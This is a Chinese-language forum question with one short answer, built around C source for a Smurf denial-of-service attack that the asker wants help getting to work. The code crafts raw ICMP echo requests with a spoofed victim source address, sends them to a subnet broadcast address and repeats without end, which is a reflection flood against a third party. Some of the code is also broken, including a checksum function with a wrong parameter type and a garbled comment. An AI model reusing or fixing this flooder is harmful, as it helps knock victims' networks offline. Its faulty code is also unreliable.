Smurf攻击问题，引用的代码如下，为什么只有将受害地址设置为本地IP才有ICMP数据包，求解。

Question

#include "stdio.h"
#include "winsock2.h"
#include
#pragma comment (lib,"ws2_32")

typedef struct _icmp_heAder
{
char type;
char code;
USHORT checksum;
USHORT id;
USHORT sequence;
ULONG timestAmp;
}ICMP_HEADER;
//--------------------------------------------------------------------
typedef struct _ip_heAder
{
unsigned char ip_verlen; // 4-bit IPv4 version
// 4-bit header length (in 32-bit words)
unsigned char ip_tos; // IP type of service
unsigned short ip_totallength; // Total length
unsigned short ip_id; // Unique identifier
unsigned short ip_offset; // Fragment offset field
unsigned char ip_ttl; // Time to live
unsigned char ip_protocol; // Protocol(TCP,UDP etc)
unsigned short ip_checksum; // IP checksum
unsigned int ip_srcaddr; // Source address
unsigned int ip_destaddr; // Source address
} IP_HEADER;
//--------------------------------------------------------------------
USHORT checksum(USHORT buffer, int size)
{
unsigned long cksum=0;
while(size >1)
{
cksum+=*buffer++;
size -=sizeof(USHORT);
}
if(size )
{
cksum += *(UCHAR)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (USHORT)(~cksum);
}
//--------------------------------------------------------------------
int main(int Argc,char* Argv[])
{
WSADATA WSADAtA;
SOCKET RAwSock;
int TimeOut;
BOOL HAdHeAder;
BOOL IsBrocAst;
IP_HEADER ip_heAder;
ICMP_HEADER icmp_heAder;

char Buff[sizeof(IP_HEADER)+sizeof(ICMP_HEADER)+20];

struct sockaddr_in SAddr={0},dAddr={0};

if (WSAStartup(MAKEWORD(2,2),&WSADAtA)){
printf("WSAStArtup fAiled:%d\n",GetLastError());
return -1;
}
if ((RAwSock=socket(AF_INET,SOCK_RAW,255))==INVALID_SOCKET){
printf("socket fAiled:%d\n",GetLastError());
return -1;
}

TimeOut = 500;
if (setsockopt(RAwSock,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut))){
printf("setsockopt sendtimeout fAiled:%d\n",GetLastError());
return -1;
}
if (setsockopt(RAwSock,SOL_SOCKET,SO_RCVTIMEO,(char*)&TimeOut,sizeof(TimeOut))){
printf("setsockopt recvtimeout fAiled:%d\n",GetLastError());
return -1;
}

HAdHeAder = TRUE;
if (setsockopt(RAwSock,IPPROTO_IP,IP_HDRINCL,(char*)&HAdHeAder,sizeof(HAdHeAder))){
printf("setsockopt IP_HDRINCL fAiled:%d\n",GetLastError());
return -1;
}

IsBrocAst = TRUE;
if (setsockopt(RAwSock,SOL_SOCKET,SO_BROADCAST,(char*)&IsBrocAst,sizeof(IsBrocAst))){
printf("setsockopt IP_HDRINCL fAiled:%d\n",GetLastError());
return -1;
}

//Buff = malloc(sizeof(IP_HEADER)+sizeof(ICMP_HEADER)+20);

//ip_heAder = (IP_HEADER*)Buff;

/////fill ip_heAder
ip_heAder.ip_verlen=(4<<4 | sizeof(IP_HEADER)/sizeof(unsigned long));
//ip_heAder.ihl = 5;
ip_heAder.ip_tos = 0;
ip_heAder.ip_totallength = htons(sizeof(IP_HEADER)+sizeof(ICMP_HEADER)+20);
ip_heAder.ip_id = 0;
//ip_heAder.frAg_off = 0;
ip_heAder.ip_offset = 0;
ip_heAder.ip_ttl = 255;
ip_heAder.ip_protocol = IPPROTO_ICMP;
ip_heAder.ip_srcaddr = inet_addr("x.x.x.x");
ip_heAder.ip_destaddr = inet_addr("x.x.x.255");
//ip_heAder.checksum = checksum((USHORT*)&ip_heAder,sizeof(IP_HEADER));
///////////////////

//icmp_heAder = (ICMP_HEADER*)(Buff+sizeof(IP_HEADER));

//////fill icmp_heAder
icmp_heAder.type = 8;
icmp_heAder.code = 0;
icmp_heAder.id = htons(0);
icmp_heAder.sequence = 0;
//icmp_heAder.checksum = 0;
icmp_heAder.checksum = 0;//checksum((USHORT*)(Buff+sizeof(IP_HEADER)),(sizeof(ICMP_HEADER)+20));
//////////////////////

SAddr.sin_family = AF_INET;
SAddr.sin_addr .S_un .S_addr = ip_heAder.ip_destaddr ;
SAddr.sin_port = htons (0);

/////////////////////////////ÔÚicmpͷûÓÐÌîÊý¾Ýʱ,,icmpµÄchecksum×ÜÊdzö´í ?????
memcpy(Buff,&ip_heAder,sizeof(IP_HEADER));
memcpy(Buff+sizeof(IP_HEADER),&icmp_heAder,(sizeof(ICMP_HEADER)+20));//20
memset(Buff+sizeof(IP_HEADER)+sizeof(ICMP_HEADER),'A',20);
ip_heAder.ip_checksum = checksum((USHORT*)Buff,sizeof(Buff));
icmp_heAder.checksum = checksum((USHORT*)(Buff+sizeof(IP_HEADER)),(sizeof(ICMP_HEADER)+20));

memcpy(Buff,&ip_heAder,sizeof(IP_HEADER));
memcpy(Buff+sizeof(IP_HEADER),&icmp_heAder,(sizeof(ICMP_HEADER)+20));//20
memset(Buff+sizeof(IP_HEADER)+sizeof(ICMP_HEADER),'A',20);

///////////////////////////////////////////////////////////////////////////
while(1){
//Sleep(200);
if (!sendto(RAwSock,Buff,sizeof(Buff),0,(struct sockaddr*)&SAddr,sizeof(SAddr))){
printf("send fAiled:%d/n",GetLastError());
return -1;
}
}
closesocket(RAwSock);
WSACleanup();
return 0;
}

Answer 1

首先在确定局域网IP成功的情况下，需要考虑是否是在传输过程中被路由器网关禁掉了，导致无法获取远程IP的信息